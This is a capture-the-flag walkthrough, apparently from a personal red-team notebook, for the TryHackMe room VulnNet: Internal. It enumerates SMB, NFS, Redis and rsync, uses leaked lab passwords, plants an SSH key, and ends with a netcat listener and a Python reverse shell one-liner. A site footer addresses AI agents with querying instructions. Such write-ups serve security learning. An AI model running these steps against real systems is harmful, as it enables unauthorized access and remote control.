> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/vulnnet-internal.md).

# VulnNet: Internal

**Room Link:** <https://tryhackme.com/room/vulnnetinternal>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/XEiAacE7LA0sO26MhqUM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/uHJQ1GDIwFcC26xHgGfn" alt=""><figcaption></figcaption></figure>

### Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="/files/BBI3T5b8hruxyHH0aihi" alt=""><figcaption></figcaption></figure>

### TCP/139 - **NetBIOS**

```
nbtscan $VICTIM
```

<figure><img src="/files/X7XGaxowPTltdnvjcr61" alt=""><figcaption></figcaption></figure>

###

### TCP/445 - **SMB**

In SMB there is the first flag.

**Kali**

```
smbget -R smb://$VICTIM/shares
smbclient  \\\\$VICTIM\\shares
smb: \> cd temp
smb: \temp\> get services.txt
smb: \temp\> cd ..
smb: \> cd data
smb: \data\> get data.txt 
smb: \data\> get business-req.txt 
```

<figure><img src="/files/1emcxHatv5I9gUsFD4Tp" alt=""><figcaption></figcaption></figure>

### TCP/2049 - **NFS**

**Kali**

```
showmount -e $VICTIM
mkdir /mnt/nfs
mount $VICTIM:/opt/conf /mnt/nfs
cd /mnt/nfs
cat redis/redis.conf
```

<figure><img src="/files/9ue9Q9flX46nS96l6tJT" alt=""><figcaption></figcaption></figure>

### TCP/6379 - Redis

<figure><img src="/files/qtg9s6pwzmmu5WsCqjyq" alt=""><figcaption></figcaption></figure>

**Kali**

```
redis-cli -h $VICTIM -a "B65Hx562F@ggAZ@F"
10.10.232.200:6379> KEYS *
10.10.232.200:6379> KEYS "internal flag"
10.10.232.200:6379> GET "internal flag"
```

<figure><img src="/files/fG7L0UYNx9xBIFmeGWjA" alt=""><figcaption></figcaption></figure>

**Kali**

```
KEYS "authlist"
LRANGE authlist 1 100
```

<figure><img src="/files/R2lp9hJwYJMElkvOr3oV" alt=""><figcaption></figcaption></figure>

**Kali**

```
echo "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==" | base64 -d
```

<figure><img src="/files/mSDd3cnFY4P6LT9lu2M3" alt=""><figcaption></figcaption></figure>

### TCP/873 - RSYNC

We are able to transfer out key to allow us to login to as the sys-internal user.

**Kali**

```
rsync --list-only rsync://$VICTIM 
rsync --list-only rsync://rsync-connect@$VICTIM/files
Password: Hcg3HP67@TW@Bc72v
ssh-keygen -t rsa
cp ~/.ssh/id_rsa.pub authorized_keys
rsync authorized_keys rsync://rsync-connect@$VICTIM/files/sys-internal/.ssh
Password: Hcg3HP67@TW@Bc72v
```

### TCP/22 - SSH

**Kali**

```
ssh sys-internal@$VICTIM
```

**Victim**

```
ss -ltp
```

<figure><img src="/files/jZVUGr0bdPrqPcGT9i7c" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh -D 9050 sys-internal@$VICTIM
```

<figure><img src="/files/WVdsRGKMfLBHqQ9daqDI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IwKZLFuP2iBSV57QLsTL" alt=""><figcaption></figcaption></figure>

Add the token in the Authentication token. There was multiple listed, it was the last one

**Victim**

```
grep -iR token /TeamCity/logs/ 2>/dev/null
```

<figure><img src="/files/Ur2E56xWIihG3piITEoS" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ByQAtMHAkwO43VXbzM53" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/z6FX6umSWDtXgKvKWPyg" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ubbsyTelzhvLBRKetkg8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jF67YYkgg7rQnDTDp1sK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kJVK9yrkRDkznL4TLZS0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kCfvC9b3CWTCycqEO7VE" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1337
```

**Custom script**

```
export RHOST="$KALI";export RPORT=1337;python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
```

<figure><img src="/files/SPxLJkXq73JvAO5gc0gx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/FlVo1sHqCdAeHniueZR7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/TyEydfapOC8VyhX2MytG" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/vulnnet-internal.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
